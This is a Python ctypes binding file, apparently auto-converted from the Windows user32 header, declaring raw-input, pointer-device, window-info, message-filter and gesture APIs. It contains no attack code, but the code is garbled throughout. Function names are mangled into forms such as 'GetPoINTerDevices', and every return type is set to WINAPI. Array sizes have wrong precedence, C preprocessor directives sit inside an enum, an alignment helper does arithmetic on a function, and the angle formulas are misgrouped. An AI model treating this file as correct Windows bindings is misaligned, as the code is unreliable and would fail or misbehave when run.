_Out_writes_to_(cchFileNameMax, return) LPSTR pszFileName,\n# _In_ UINT cchFileNameMax);\nGetWindowModuleFileNameA = user32.GetWindowModuleFileNameA\nGetWindowModuleFileNameA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowModuleFileNameW(\n# _In_ HWND hwnd,\n# _Out_writes_to_(cchFileNameMax, return) LPWSTR pszFileName,\n# _In_ UINT cchFileNameMax);\nGetWindowModuleFileNameW = user32.GetWindowModuleFileNameW\nGetWindowModuleFileNameW.restype = WINAPI\n\nGetWindowModuleFileName = GetWindowModuleFileNameW\n# GetWindowModuleFileName = GetWindowModuleFileNameA\nSTATE_SYSTEM_UNAVAILABLE = 0x00000001\nSTATE_SYSTEM_SELECTED = 0x00000002\nSTATE_SYSTEM_FOCUSED = 0x00000004\nSTATE_SYSTEM_PRESSED = 0x00000008\nSTATE_SYSTEM_CHECKED = 0x00000010\nSTATE_SYSTEM_MIXED = 0x00000020\nSTATE_SYSTEM_INDETERMINATE = STATE_SYSTEM_MIXED\nSTATE_SYSTEM_READONLY = 0x00000040\nSTATE_SYSTEM_HOTTRACKED = 0x00000080\nSTATE_SYSTEM_DEFAULT = 0x00000100\nSTATE_SYSTEM_EXPANDED = 0x00000200\nSTATE_SYSTEM_COLLAPSED = 0x00000400\nSTATE_SYSTEM_BUSY = 0x00000800\nSTATE_SYSTEM_FLOATING = 0x00001000\nSTATE_SYSTEM_MARQUEED = 0x00002000\nSTATE_SYSTEM_ANIMATED = 0x00004000\nSTATE_SYSTEM_INVISIBLE = 0x00008000\nSTATE_SYSTEM_OFFSCREEN = 0x00010000\nSTATE_SYSTEM_SIZEABLE = 0x00020000\nSTATE_SYSTEM_MOVEABLE = 0x00040000\nSTATE_SYSTEM_SELFVOICING = 0x00080000\nSTATE_SYSTEM_FOCUSABLE = 0x00100000\nSTATE_SYSTEM_SELECTABLE = 0x00200000\nSTATE_SYSTEM_LINKED = 0x00400000\nSTATE_SYSTEM_TRAVERSED = 0x00800000\nSTATE_SYSTEM_MULTISELECTABLE = 0x01000000\nSTATE_SYSTEM_EXTSELECTABLE = 0x02000000\nSTATE_SYSTEM_ALERT_LOW = 0x04000000\nSTATE_SYSTEM_ALERT_MEDIUM = 0x08000000\nSTATE_SYSTEM_ALERT_HIGH = 0x10000000\nSTATE_SYSTEM_PROTECTED = 0x20000000\nSTATE_SYSTEM_VALID = 0x3FFFFFFF\nCCHILDREN_TITLEBAR = 0x00000005\nCCHILDREN_SCROLLBAR = 0x00000005\n\nclass tagCURSORINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('flags', DWORD),\n ('hCursor', HCURSOR),\n ('ptScreenPos', POINT),\n ]\n\n\nCURSORINFO = tagCURSORINFO\nPCURSORINFO = POINTER(tagCURSORINFO)\nLPCURSORINFO = POINTER(tagCURSORINFO)\n\n\nCURSOR_SHOWING = 0x00000001\nCURSOR_SUPPRESSED = 0x00000002\n\n# WINAPI\n# GetCursorInfo(\n# _Inout_ PCURSORINFO pci);\nGetCursorInfo = user32.GetCursorInfo\nGetCursorInfo.restype = WINAPI\n\n\nclass tagWINDOWINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcWindow', RECT),\n ('rcClient', RECT),\n ('dwStyle', DWORD),\n ('dwExStyle', DWORD),\n ('dwWindowStatus', DWORD),\n ('cxWindowBorders', UINT),\n ('cyWindowBorders', UINT),\n ('atomWindowType', ATOM),\n ('wCreatorVersion', WORD),\n ]\n\n\nWINDOWINFO = tagWINDOWINFO\nPWINDOWINFO = POINTER(tagWINDOWINFO)\nLPWINDOWINFO = POINTER(tagWINDOWINFO)\n\n\nWS_ACTIVECAPTION = 0x00000001\n\n# WINAPI\n# GetWindowInfo(\n# _In_ HWND hwnd,\n# _Inout_ PWINDOWINFO pwi);\nGetWindowInfo = user32.GetWindowInfo\nGetWindowInfo.restype = WINAPI\n\n\nclass tagTITLEBARINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcTitleBar', RECT),\n ('rgstate', DWORD * CCHILDREN_TITLEBAR + 1),\n ]\n\n\nTITLEBARINFO = tagTITLEBARINFO\nPTITLEBARINFO = POINTER(tagTITLEBARINFO)\nLPTITLEBARINFO = POINTER(tagTITLEBARINFO)\n\n\n\n# WINAPI\n# GetTitleBarInfo(\n# _In_ HWND hwnd,\n# _Inout_ PTITLEBARINFO pti);\nGetTitleBarInfo = user32.GetTitleBarInfo\nGetTitleBarInfo.restype = WINAPI\n\n\nclass tagTITLEBARINFOEX(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcTitleBar', RECT),\n ('rgstate', DWORD * CCHILDREN_TITLEBAR + 1),\n ('rgrect', RECT * CCHILDREN_TITLEBAR + 1),\n ]\n\n\nTITLEBARINFOEX = tagTITLEBARINFOEX\nPTITLEBARINFOEX = POINTER(tagTITLEBARINFOEX)\nLPTITLEBARINFOEX = POINTER(tagTITLEBARINFOEX)\n\n\n\nclass tagMENUBARINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcBar', RECT),\n ('hMenu', HMENU),\n ('hwndMenu', HWND),\n ('fBarFocused:1', BOOL),\n ('fFocused:1', BOOL),\n ]\n\n\nMENUBARINFO = tagMENUBARINFO\nPMENUBARINFO = POINTER(tagMENUBARINFO)\nLPMENUBARINFO = POINTER(tagMENUBARINFO)\n\n\n\n# WINAPI\n# GetMenuBarInfo(\n# _In_ HWND hwnd,\n# _In_ LONG idObject,\n# _In_ LONG idItem,\n# _Inout_ PMENUBARINFO pmbi);\nGetMenuBarInfo = user32.GetMenuBarInfo\nGetMenuBarInfo.restype = WINAPI\n\n\nclass tagSCROLLBARINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcScrollBar', RECT),\n ('dxyLineButton', INT),\n ('xyThumbTop', INT),\n ('xyThumbBottom', INT),\n ('reserved', INT),\n ('rgstate', DWORD * CCHILDREN_SCROLLBAR + 1),\n ]\n\n\nSCROLLBARINFO = tagSCROLLBARINFO\nPSCROLLBARINFO = POINTER(tagSCROLLBARINFO)\nLPSCROLLBARINFO = POINTER(tagSCROLLBARINFO)\n\n\n\n# WINAPI\n# GetScrollBarInfo(\n# _In_ HWND hwnd,\n# _In_ LONG idObject,\n# _Inout_ PSCROLLBARINFO psbi);\nGetScrollBarInfo = user32.GetScrollBarInfo\nGetScrollBarInfo.restype = WINAPI\n\n\nclass tagCOMBOBOXINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcItem', RECT),\n ('rcButton', RECT),\n ('stateButton', DWORD),\n ('hwndCombo', HWND),\n ('hwndItem', HWND),\n ('hwndList', HWND),\n ]\n\n\nCOMBOBOXINFO = tagCOMBOBOXINFO\nPCOMBOBOXINFO = POINTER(tagCOMBOBOXINFO)\nLPCOMBOBOXINFO = POINTER(tagCOMBOBOXINFO)\n\n\n\n# WINAPI\n# GetComboBoxInfo(\n# _In_ HWND hwndCombo,\n# _Inout_ PCOMBOBOXINFO pcbi);\nGetComboBoxInfo = user32.GetComboBoxInfo\nGetComboBoxInfo.restype = WINAPI\n\nGA_PARENT = 0x00000001\nGA_ROOT = 0x00000002\nGA_ROOTOWNER = 0x00000003\n\n# WINAPI\n# GetAncestor(\n# _In_ HWND hwnd,\n# _In_ UINT gaFlags);\nGetAncestor = user32.GetAncestor\nGetAncestor.restype = WINAPI\n\n\n# WINAPI\n# RealChildWindowFromPoINT(\n# _In_ HWND hwndParent,\n# _In_ POINT ptParentClientCoords);\nRealChildWindowFromPoINT = user32.RealChildWindowFromPoINT\nRealChildWindowFromPoINT.restype = WINAPI\n\n\n# WINAPI\n# RealGetWindowClassA(\n# _In_ HWND hwnd,\n# _Out_writes_to_(cchClassNameMax, return) LPSTR ptszClassName,\n# _In_ UINT cchClassNameMax);\nRealGetWindowClassA = user32.RealGetWindowClassA\nRealGetWindowClassA.restype = WINAPI\n\n\n# WINAPI\n# RealGetWindowClassW(\n# _In_ HWND hwnd,\n# _Out_writes_to_(cchClassNameMax, return) LPWSTR ptszClassName,\n# _In_ UINT cchClassNameMax);\nRealGetWindowClassW = user32.RealGetWindowClassW\nRealGetWindowClassW.restype = WINAPI\n\nRealGetWindowClass = RealGetWindowClassW\n# RealGetWindowClass = RealGetWindowClassA\n\nclass tagALTTABINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('cItems', INT),\n ('cColumns', INT),\n ('cRows', INT),\n ('iColFocus', INT),\n ('iRowFocus', INT),\n ('cxItem', INT),\n ('cyItem', INT),\n ('ptStart', POINT),\n ]\n\n\nALTTABINFO = tagALTTABINFO\nPALTTABINFO = POINTER(tagALTTABINFO)\nLPALTTABINFO = POINTER(tagALTTABINFO)\n\n\n\n# WINAPI\n# GetAltTabInfoA(\n# _In_opt_ HWND hwnd,\n# _In_ INT iItem,\n# _Inout_ PALTTABINFO pati,\n# _Out_writes_opt_(cchItemText) LPSTR pszItemText,\n# _In_ UINT cchItemText);\nGetAltTabInfoA = user32.GetAltTabInfoA\nGetAltTabInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetAltTabInfoW(\n# _In_opt_ HWND hwnd,\n# _In_ INT iItem,\n# _Inout_ PALTTABINFO pati,\n# _Out_writes_opt_(cchItemText) LPWSTR pszItemText,\n# _In_ UINT cchItemText);\nGetAltTabInfoW = user32.GetAltTabInfoW\nGetAltTabInfoW.restype = WINAPI\n\nGetAltTabInfo = GetAltTabInfoW\n# GetAltTabInfo = GetAltTabInfoA\n\n# WINAPI\n# GetListBoxInfo(\n# _In_ HWND hwnd);\nGetListBoxInfo = user32.GetListBoxInfo\nGetListBoxInfo.restype = WINAPI\n\n\n# WINAPI\n# LockWorkStation(\n# VOID);\nLockWorkStation = user32.LockWorkStation\nLockWorkStation.restype = WINAPI\n\n\n# WINAPI\n# UserHandleGrantAccess(\n# _In_ HANDLE hUserHandle,\n# _In_ HANDLE hJob,\n# _In_ BOOL bGrant);\nUserHandleGrantAccess = user32.UserHandleGrantAccess\nUserHandleGrantAccess.restype = WINAPI\n\n\n\ndef GET_RAWINPUT_CODE_WPARAM(wParam):\n return wParam & 0xff\nRIM_INPUT = 0x00000000\nRIM_INPUTSINK = 0x00000001\n\nclass tagRAWINPUTHEADER(ctypes.Structure):\n _fields_ = [\n ('dwType', DWORD),\n ('dwSize', DWORD),\n ('hDevice', HANDLE),\n ('wParam', WPARAM),\n ]\n\n\nRAWINPUTHEADER = tagRAWINPUTHEADER\nPRAWINPUTHEADER = POINTER(tagRAWINPUTHEADER)\nLPRAWINPUTHEADER = POINTER(tagRAWINPUTHEADER)\n\n\nRIM_TYPEMOUSE = 0x00000000\nRIM_TYPEKEYBOARD = 0x00000001\nRIM_TYPEHID = 0x00000002\nRIM_TYPEMAX = 0x00000002\n\nclass tagRAWMOUSE(ctypes.Structure):\n _fields_ = [\n ('usFlags', USHORT),\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ('ulRawButtons', ULONG),\n ('lLastX', LONG),\n ('lLastY', LONG),\n ('ulExtraInformation', ULONG),\n ]\n\n\nRAWMOUSE = tagRAWMOUSE\nPRAWMOUSE = POINTER(tagRAWMOUSE)\nLPRAWMOUSE = POINTER(tagRAWMOUSE)\n\n\nRI_MOUSE_LEFT_BUTTON_DOWN = 0x00000001\nRI_MOUSE_LEFT_BUTTON_UP = 0x00000002\nRI_MOUSE_RIGHT_BUTTON_DOWN = 0x00000004\nRI_MOUSE_RIGHT_BUTTON_UP = 0x00000008\nRI_MOUSE_MIDDLE_BUTTON_DOWN = 0x00000010\nRI_MOUSE_MIDDLE_BUTTON_UP = 0x00000020\nRI_MOUSE_BUTTON_1_DOWN = RI_MOUSE_LEFT_BUTTON_DOWN\nRI_MOUSE_BUTTON_1_UP = RI_MOUSE_LEFT_BUTTON_UP\nRI_MOUSE_BUTTON_2_DOWN = RI_MOUSE_RIGHT_BUTTON_DOWN\nRI_MOUSE_BUTTON_2_UP = RI_MOUSE_RIGHT_BUTTON_UP\nRI_MOUSE_BUTTON_3_DOWN = RI_MOUSE_MIDDLE_BUTTON_DOWN\nRI_MOUSE_BUTTON_3_UP = RI_MOUSE_MIDDLE_BUTTON_UP\nRI_MOUSE_BUTTON_4_DOWN = 0x00000040\nRI_MOUSE_BUTTON_4_UP = 0x00000080\nRI_MOUSE_BUTTON_5_DOWN = 0x00000100\nRI_MOUSE_BUTTON_5_UP = 0x00000200\nRI_MOUSE_WHEEL = 0x00000400\nRI_MOUSE_HWHEEL = 0x00000800\nMOUSE_MOVE_RELATIVE = 0x00000000\nMOUSE_MOVE_ABSOLUTE = 0x00000001\nMOUSE_VIRTUAL_DESKTOP = 0x00000002\nMOUSE_ATTRIBUTES_CHANGED = 0x00000004\nMOUSE_MOVE_NOCOALESCE = 0x00000008\n\nclass tagRAWKEYBOARD(ctypes.Structure):\n _fields_ = [\n ('MakeCode', USHORT),\n ('Flags', USHORT),\n ('Reserved', USHORT),\n ('VKey', USHORT),\n ('Message', UINT),\n ('ExtraInformation', ULONG),\n ]\n\n\nRAWKEYBOARD = tagRAWKEYBOARD\nPRAWKEYBOARD = POINTER(tagRAWKEYBOARD)\nLPRAWKEYBOARD = POINTER(tagRAWKEYBOARD)\n\n\nKEYBOARD_OVERRUN_MAKE_CODE = 0x000000FF\nRI_KEY_MAKE = 0x00000000\nRI_KEY_BREAK = 0x00000001\nRI_KEY_E0 = 0x00000002\nRI_KEY_E1 = 0x00000004\nRI_KEY_TERMSRV_SET_LED = 0x00000008\nRI_KEY_TERMSRV_SHADOW = 0x00000010\n\nclass tagRAWHID(ctypes.Structure):\n _fields_ = [\n ('dwSizeHid', DWORD),\n ('dwCount', DWORD),\n ('bRawData', BYTE * 1),\n ]\n\n\nRAWHID = tagRAWHID\nPRAWHID = POINTER(tagRAWHID)\nLPRAWHID = POINTER(tagRAWHID)\n\n\n\nclass tagRAWINPUT(ctypes.Structure):\n\n class data(ctypes.Union):\n _fields_ = [\n ('mouse', RAWMOUSE),\n ('keyboard', RAWKEYBOARD),\n ('hid', RAWHID),\n ]\n\n _fields_ = [\n ('header', RAWINPUTHEADER),\n ('data', data),\n ]\n\n\nRAWINPUT = tagRAWINPUT\nPRAWINPUT = POINTER(tagRAWINPUT)\nLPRAWINPUT = POINTER(tagRAWINPUT)\n\n\n\n\ndef RAWINPUT_ALIGN(x):\n return (x + ctypes.sizeof - 1) & ~(ctypes.sizeof - 1)\n\n\n\ndef NEXTRAWINPUTBLOCK(ptr):\n return RAWINPUT_ALIGN(ptr + ptr.header.dwSize)\n\n\nRID_INPUT = 0x10000003\nRID_HEADER = 0x10000005\n\n# WINAPI\n# GetRawInputData(\n# _In_ HRAWINPUT hRawInput,\n# _In_ UINT uiCommand,\n# _Out_writes_bytes_to_opt_(*pcbSize, return) LPVOID pData,\n# _Inout_ PUINT pcbSize,\n# _In_ UINT cbSizeHeader);\nGetRawInputData = user32.GetRawInputData\nGetRawInputData.restype = WINAPI\n\nRIDI_PREPARSEDDATA = 0x20000005\nRIDI_DEVICENAME = 0x20000007\nRIDI_DEVICEINFO = 0x2000000B\n\nclass tagRID_DEVICE_INFO_MOUSE(ctypes.Structure):\n _fields_ = [\n ('dwId', DWORD),\n ('dwNumberOfButtons', DWORD),\n ('dwSampleRate', DWORD),\n ('fHasHorizontalWheel', BOOL),\n ]\n\n\nRID_DEVICE_INFO_MOUSE = tagRID_DEVICE_INFO_MOUSE\nPRID_DEVICE_INFO_MOUSE = POINTER(tagRID_DEVICE_INFO_MOUSE)\n\n\n\nclass tagRID_DEVICE_INFO_KEYBOARD(ctypes.Structure):\n _fields_ = [\n ('dwType', DWORD),\n ('dwSubType', DWORD),\n ('dwKeyboardMode', DWORD),\n ('dwNumberOfFunctionKeys', DWORD),\n ('dwNumberOfIndicators', DWORD),\n ('dwNumberOfKeysTotal', DWORD),\n ]\n\n\nRID_DEVICE_INFO_KEYBOARD = tagRID_DEVICE_INFO_KEYBOARD\nPRID_DEVICE_INFO_KEYBOARD = POINTER(tagRID_DEVICE_INFO_KEYBOARD)\n\n\n\nclass tagRID_DEVICE_INFO_HID(ctypes.Structure):\n _fields_ = [\n ('dwVendorId', DWORD),\n ('dwProductId', DWORD),\n ('dwVersionNumber', DWORD),\n ('usUsagePage', USHORT),\n ('usUsage', USHORT),\n ]\n\n\nRID_DEVICE_INFO_HID = tagRID_DEVICE_INFO_HID\nPRID_DEVICE_INFO_HID = POINTER(tagRID_DEVICE_INFO_HID)\n\n\n\nclass tagRID_DEVICE_INFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('dwType', DWORD),\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ]\n\n\nRID_DEVICE_INFO = tagRID_DEVICE_INFO\nPRID_DEVICE_INFO = POINTER(tagRID_DEVICE_INFO)\nLPRID_DEVICE_INFO = POINTER(tagRID_DEVICE_INFO)\n\n\n\n# WINAPI\n# GetRawInputDeviceInfoA(\n# _In_opt_ HANDLE hDevice,\n# _In_ UINT uiCommand,\n# _Inout_updates_bytes_to_opt_(*pcbSize, *pcbSize) LPVOID pData,\n# _Inout_ PUINT pcbSize);\nGetRawInputDeviceInfoA = user32.GetRawInputDeviceInfoA\nGetRawInputDeviceInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetRawInputDeviceInfoW(\n# _In_opt_ HANDLE hDevice,\n# _In_ UINT uiCommand,\n# _Inout_updates_bytes_to_opt_(*pcbSize, *pcbSize) LPVOID pData,\n# _Inout_ PUINT pcbSize);\nGetRawInputDeviceInfoW = user32.GetRawInputDeviceInfoW\nGetRawInputDeviceInfoW.restype = WINAPI\n\nGetRawInputDeviceInfo = GetRawInputDeviceInfoW\n# GetRawInputDeviceInfo = GetRawInputDeviceInfoA\n\n# WINAPI\n# GetRawInputBuffer(\n# _Out_writes_bytes_opt_(*pcbSize) PRAWINPUT pData,\n# _Inout_ PUINT pcbSize,\n# _In_ UINT cbSizeHeader);\nGetRawInputBuffer = user32.GetRawInputBuffer\nGetRawInputBuffer.restype = WINAPI\n\n\nclass tagRAWINPUTDEVICE(ctypes.Structure):\n _fields_ = [\n ('usUsagePage', USHORT),\n ('usUsage', USHORT),\n ('dwFlags', DWORD),\n ('hwndTarget', HWND),\n ]\n\n\nRAWINPUTDEVICE = tagRAWINPUTDEVICE\nPRAWINPUTDEVICE = POINTER(tagRAWINPUTDEVICE)\nLPRAWINPUTDEVICE = POINTER(tagRAWINPUTDEVICE)\n\n\nPCRAWINPUTDEVICE = CONST\nRIDEV_REMOVE = 0x00000001\nRIDEV_EXCLUDE = 0x00000010\nRIDEV_PAGEONLY = 0x00000020\nRIDEV_NOLEGACY = 0x00000030\nRIDEV_INPUTSINK = 0x00000100\nRIDEV_CAPTUREMOUSE = 0x00000200\nRIDEV_NOHOTKEYS = 0x00000200\nRIDEV_APPKEYS = 0x00000400\nRIDEV_EXINPUTSINK = 0x00001000\nRIDEV_DEVNOTIFY = 0x00002000\nRIDEV_EXMODEMASK = 0x000000F0\n\n\ndef RIDEV_EXMODE(mode):\n return mode & RIDEV_EXMODEMASK\n\n\nGIDC_ARRIVAL = 0x00000001\nGIDC_REMOVAL = 0x00000002\n\n\ndef GET_DEVICE_CHANGE_WPARAM(wParam):\n return LOWORD(wParam)\n\n\ndef GET_DEVICE_CHANGE_LPARAM(lParam):\n return LOWORD(lParam)\n\n# WINAPI\n# RegisterRawInputDevices(\n# _In_reads_(uiNumDevices) PCRAWINPUTDEVICE pRawInputDevices,\n# _In_ UINT uiNumDevices,\n# _In_ UINT cbSize);\nRegisterRawInputDevices = user32.RegisterRawInputDevices\nRegisterRawInputDevices.restype = WINAPI\n\n\n# WINAPI\n# GetRegisteredRawInputDevices(\n# _Out_writes_opt_( *puiNumDevices) PRAWINPUTDEVICE pRawInputDevices,\n# _Inout_ PUINT puiNumDevices,\n# _In_ UINT cbSize);\nGetRegisteredRawInputDevices = user32.GetRegisteredRawInputDevices\nGetRegisteredRawInputDevices.restype = WINAPI\n\n\nclass tagRAWINPUTDEVICELIST(ctypes.Structure):\n _fields_ = [\n ('hDevice', HANDLE),\n ('dwType', DWORD),\n ]\n\n\nRAWINPUTDEVICELIST = tagRAWINPUTDEVICELIST\nPRAWINPUTDEVICELIST = POINTER(tagRAWINPUTDEVICELIST)\n\n\n\n# WINAPI\n# GetRawInputDeviceList(\n# _Out_writes_opt_(*puiNumDevices) PRAWINPUTDEVICELIST pRawInputDeviceList,\n# _Inout_ PUINT puiNumDevices,\n# _In_ UINT cbSize);\nGetRawInputDeviceList = user32.GetRawInputDeviceList\nGetRawInputDeviceList.restype = WINAPI\n\n\n# WINAPI\n# DefRawInputProc(\n# _In_reads_(nInput) PRAWINPUT* paRawInput,\n# _In_ INT nInput,\n# _In_ UINT cbSizeHeader);\nDefRawInputProc = user32.DefRawInputProc\nDefRawInputProc.restype = WINAPI\n\nPOINTER_DEVICE_PRODUCT_STRING_MAX = 0x00000208\nPDC_ARRIVAL = 0x00000001\nPDC_REMOVAL = 0x00000002\nPDC_ORIENTATION_0 = 0x00000004\nPDC_ORIENTATION_90 = 0x00000008\nPDC_ORIENTATION_180 = 0x00000010\nPDC_ORIENTATION_270 = 0x00000020\nPDC_MODE_DEFAULT = 0x00000040\nPDC_MODE_CENTERED = 0x00000080\nPDC_MAPPING_CHANGE = 0x00000100\nPDC_RESOLUTION = 0x00000200\nPDC_ORIGIN = 0x00000400\nPDC_MODE_ASPECTRATIOPRESERVED = 0x00000800\nclass tagPOINTER_DEVICE_TYPE(ENUM):\n POINTER_DEVICE_TYPE_INTEGRATED_PEN = 0x00000001\n POINTER_DEVICE_TYPE_EXTERNAL_PEN = 0x00000002\n POINTER_DEVICE_TYPE_TOUCH = 0x00000003\n #if(WINVER > = 4\n POINTER_DEVICE_TYPE_TOUCH_PAD = 0x00000004\n #endif = 5\n POINTER_DEVICE_TYPE_MAX = 0xFFFFFFFF\n\n\nPOINTER_DEVICE_TYPE = tagPOINTER_DEVICE_TYPE\n\n\n\nclass tagPOINTER_DEVICE_INFO(ctypes.Structure):\n _fields_ = [\n ('displayOrientation', DWORD),\n ('device', HANDLE),\n ('poINTerDeviceType', POINTER_DEVICE_TYPE),\n ('monitor', HMONITOR),\n ('startingCursorId', ULONG),\n ('maxActiveContacts', USHORT),\n ('productString', WCHAR * POINTER_DEVICE_PRODUCT_STRING_MAX),\n ]\n\n\nPOINTER_DEVICE_INFO = tagPOINTER_DEVICE_INFO\n\n\n\nclass tagPOINTER_DEVICE_PROPERTY(ctypes.Structure):\n _fields_ = [\n ('logicalMin', INT32),\n ('logicalMax', INT32),\n ('physicalMin', INT32),\n ('physicalMax', INT32),\n ('unit', UINT32),\n ('unitExponent', UINT32),\n ('usagePageId', USHORT),\n ('usageId', USHORT),\n ]\n\n\nPOINTER_DEVICE_PROPERTY = tagPOINTER_DEVICE_PROPERTY\n\n\nclass tagPOINTER_DEVICE_CURSOR_TYPE(ENUM):\n POINTER_DEVICE_CURSOR_TYPE_UNKNOWN = 0x00000000\n POINTER_DEVICE_CURSOR_TYPE_TIP = 0x00000001\n POINTER_DEVICE_CURSOR_TYPE_ERASER = 0x00000002\n POINTER_DEVICE_CURSOR_TYPE_MAX = 0xFFFFFFFF\n\n\nPOINTER_DEVICE_CURSOR_TYPE = tagPOINTER_DEVICE_CURSOR_TYPE\n\n\n\nclass tagPOINTER_DEVICE_CURSOR_INFO(ctypes.Structure):\n _fields_ = [\n ('cursorId', UINT32),\n ('cursor', POINTER_DEVICE_CURSOR_TYPE),\n ]\n\n\nPOINTER_DEVICE_CURSOR_INFO = tagPOINTER_DEVICE_CURSOR_INFO\n\n\n\n# WINAPI\n# GetPoINTerDevices(\n# _Inout_ UINT32* deviceCount,\n# _Out_writes_opt_(*deviceCount) POINTER_DEVICE_INFO *poINTerDevices);\nGetPoINTerDevices = user32.GetPoINTerDevices\nGetPoINTerDevices.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerDevice(\n# _In_ HANDLE device,\n# _Out_writes_(1) POINTER_DEVICE_INFO *poINTerDevice);\nGetPoINTerDevice = user32.GetPoINTerDevice\nGetPoINTerDevice.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerDeviceProperties(\n# _In_ HANDLE device,\n# _Inout_ UINT32* propertyCount,\n# _Out_writes_opt_(*propertyCount) POINTER_DEVICE_PROPERTY *poINTerProperties);\nGetPoINTerDeviceProperties = user32.GetPoINTerDeviceProperties\nGetPoINTerDeviceProperties.restype = WINAPI\n\n\n# WINAPI\n# RegisterPoINTerDeviceNotifications(\n# _In_ HWND window,\n# _In_ BOOL notifyRange);\nRegisterPoINTerDeviceNotifications = user32.RegisterPoINTerDeviceNotifications\nRegisterPoINTerDeviceNotifications.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerDeviceRects(\n# _In_ HANDLE device,\n# _Out_writes_(1) RECT* poINTerDeviceRect,\n# _Out_writes_(1) RECT* displayRect);\nGetPoINTerDeviceRects = user32.GetPoINTerDeviceRects\nGetPoINTerDeviceRects.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerDeviceCursors(\n# _In_ HANDLE device,\n# _Inout_ UINT32* cursorCount,\n# _Out_writes_opt_(*cursorCount) POINTER_DEVICE_CURSOR_INFO *deviceCursors);\nGetPoINTerDeviceCursors = user32.GetPoINTerDeviceCursors\nGetPoINTerDeviceCursors.restype = WINAPI\n\n\n# WINAPI\n# GetRawPoINTerDeviceData(\n# _In_ UINT32 poINTerId,\n# _In_ UINT32 historyCount,\n# _In_ UINT32 propertiesCount,\n# _In_reads_(propertiesCount) POINTER_DEVICE_PROPERTY* pProperties,\n# _Out_writes_(historyCount * propertiesCount) LONG* pValues);\nGetRawPoINTerDeviceData = user32.GetRawPoINTerDeviceData\nGetRawPoINTerDeviceData.restype = WINAPI\n\nMSGFLT_ADD = 0x00000001\nMSGFLT_REMOVE = 0x00000002\n\n# WINAPI\n# ChangeWindowMessageFilter(\n# _In_ UINT message,\n# _In_ DWORD dwFlag);\nChangeWindowMessageFilter = user32.ChangeWindowMessageFilter\nChangeWindowMessageFilter.restype = WINAPI\n\nMSGFLTINFO_NONE = 0x00000000\nMSGFLTINFO_ALREADYALLOWED_FORWND = 0x00000001\nMSGFLTINFO_ALREADYDISALLOWED_FORWND = 0x00000002\nMSGFLTINFO_ALLOWED_HIGHER = 0x00000003\n\nclass tagCHANGEFILTERSTRUCT(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('ExtStatus', DWORD),\n ]\n\n\nCHANGEFILTERSTRUCT = tagCHANGEFILTERSTRUCT\nPCHANGEFILTERSTRUCT = POINTER(tagCHANGEFILTERSTRUCT)\n\n\nMSGFLT_RESET = 0x00000000\nMSGFLT_ALLOW = 0x00000001\nMSGFLT_DISALLOW = 0x00000002\n\n# WINAPI\n# ChangeWindowMessageFilterEx(\n# _In_ HWND hwnd,\n# _In_ UINT message,\n# _In_ DWORD action,\n# _Inout_opt_ PCHANGEFILTERSTRUCT pChangeFilterStruct);\nChangeWindowMessageFilterEx = user32.ChangeWindowMessageFilterEx\nChangeWindowMessageFilterEx.restype = WINAPI\n\nGF_BEGIN = 0x00000001\nGF_INERTIA = 0x00000002\nGF_END = 0x00000004\nGID_BEGIN = 0x00000001\nGID_END = 0x00000002\nGID_ZOOM = 0x00000003\nGID_PAN = 0x00000004\nGID_ROTATE = 0x00000005\nGID_TWOFINGERTAP = 0x00000006\nGID_PRESSANDTAP = 0x00000007\nGID_ROLLOVER = GID_PRESSANDTAP\n\nclass tagGESTUREINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('dwID', DWORD),\n ('hwndTarget', HWND),\n ('ptsLocation', POINTS),\n ('dwInstanceID', DWORD),\n ('dwSequenceID', DWORD),\n ('ullArguments', ULONGLONG),\n ('cbExtraArgs', UINT),\n ]\n\n\nGESTUREINFO = tagGESTUREINFO\nPGESTUREINFO = POINTER(tagGESTUREINFO)\n\n\nPCGESTUREINFO = GESTUREINFO\n\nclass tagGESTURENOTIFYSTRUCT(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('hwndTarget', HWND),\n ('ptsLocation', POINTS),\n ('dwInstanceID', DWORD),\n ]\n\n\nGESTURENOTIFYSTRUCT = tagGESTURENOTIFYSTRUCT\nPGESTURENOTIFYSTRUCT = POINTER(tagGESTURENOTIFYSTRUCT)\n\n\ndef GID_ROTATE_ANGLE_TO_ARGUMENT(_arg_):\n return ((_arg_ + 2.0 * 3.14159265) / 4.0 * 3.14159265) * 65535.0\n\n\ndef GID_ROTATE_ANGLE_FROM_ARGUMENT(_arg_):\n return ((_arg_ / 65535.0) * 4.0 * 3.14159265) - 2.0 * 3.14159265\n\n# WINAPI\n# GetGestureInfo(\n# _In_ HGESTUREINFO hGestureInfo,\n# _Out_ PGESTUREINFO pGestureInfo);\nGetGestureInfo = user32.GetGestureInfo\nGetGestureInfo.restype = WINAPI\n\n\n# WINAPI\n# GetGestureExtraArgs(\n# _In_ HGESTUREINFO hGestureInfo,\n# _In_ UINT cbExtraArgs,\n# _Out_writes_bytes_(cbExtraArgs) PBYTE pExtraArgs);\nGetGestureExtraArgs = user32.GetGestureExtraArgs\nGetGestureExtraArgs.restype = WINAPI\n\n\n# WINAPI\n# CloseGestureInfoHandle(\n# _In_ HGESTUREINFO hGestureInfo);\nCloseGestureInfoHandle = user32.CloseGestureInfoHandle\nCloseGestureInfoHandle.restype = WINAPI\n\n\nclass tagGESTURECONFIG(ctypes.Structure):\n _fields_ = [\n ('dwID', DWORD),\n 